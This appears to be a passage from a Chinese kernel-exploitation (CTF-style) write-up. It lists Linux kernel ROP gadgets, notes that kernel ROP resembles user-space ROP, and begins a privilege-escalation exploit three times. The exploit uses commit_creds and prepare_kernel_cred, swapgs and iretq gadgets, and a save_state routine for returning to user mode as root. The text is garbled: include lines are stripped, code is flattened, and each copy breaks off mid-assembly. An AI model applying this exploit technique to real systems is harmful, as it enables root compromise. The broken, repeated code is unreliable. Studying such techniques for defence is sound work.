0xffffffff8166fea3: mov rdi, rax; jne 0x86fe73; pop rbx; pop rbp; ret;
0xffffffff81006370: pop rdi; ret;
0xffffffff818c6b35: add rsi, 1; cmp rsi, rdi; jne 0xac6b30; pop rbp; ret;
0xffffffff8150b97e: pop rsi; ret;
复制代码
因此ROP逃逸的思路与在用户态的ROP区别不大,只要找到合适的gadget即可 exp
#include #include /*0xffffffff814c6410 T commit_creds 0xffffffff814c67f0 T prepare_kernel_cred 0xffffffff823d6b02: cmp rdi, 0xffffff; ret;0xffffffff8166fea3: mov rdi, rax; jne 0x86fe73; pop rbx; pop rbp; ret; 0xffffffff81006370: pop rdi; ret;0xffffffff8100a55f: swapgs; pop rbp; ret; 0xffffffff818c6b35: add rsi, 1; cmp rsi, rdi; jne 0xac6b30; pop rbp; ret; 0xffffffff814381cb: iretq; pop rbp; ret;0xffffffff8150b97e: pop rsi; ret;*///iretq RIP|CS|RFLAGS|SP|SSunsigned long user_cs,user_rflags,user_sp,user_ss;void save_state(){ __asm(
#include #include #include /*0xffffffff814c6410 T commit_creds 0xffffffff814c67f0 T prepare_kernel_cred 0xffffffff823d6b02: cmp rdi, 0xffffff; ret;0xffffffff8166fea3: mov rdi, rax; jne 0x86fe73; pop rbx; pop rbp; ret; 0xffffffff8166ff23: mov rdi, rax; jne 0x86fef3; pop rbx; pop rbp; ret;0xffffffff81006370: pop rdi; ret;0xffffffff8100a55f: swapgs; pop rbp; ret; 0xffffffff818c6b35: add rsi, 1; cmp rsi, rdi; jne 0xac6b30; pop rbp; ret; 0xffffffff814381cb: iretq; pop rbp; ret;0xffffffff8150b97e: pop rsi; ret;*///iretq RIP|CS|RFLAGS|SP|SSunsigned long user_cs,user_rflags,user_sp,user_ss;void save_state(){ __asm(
#include #include /*0xffffffff814c6410 T commit_creds 0xffffffff814c67f0 T prepare_kernel_cred 0xffffffff823d6b02: cmp rdi, 0xffffff; ret;0xffffffff8166fea3: mov rdi, rax; jne 0x86fe73; pop rbx; pop rbp; ret; 0xffffffff8166ff23: mov rdi, rax; jne 0x86fef3; pop rbx; pop rbp; ret;0xffffffff81006370: pop rdi; ret;0xffffffff8100a55f: swapgs; pop rbp; ret; 0xffffffff818c6b35: add rsi, 1; cmp rsi, rdi; jne 0xac6b30; pop rbp; ret; 0xffffffff814381cb: iretq; pop rbp; ret;0xffffffff8150b97e: pop rsi; ret;0xffffffff81200f10 T swapgs_restore_regs_and_return_to_usermode*///iretq RIP|CS|RFLAGS|SP|SSunsigned long user_cs,user_rflags,user_sp,user_ss;void save_state(){ __asm(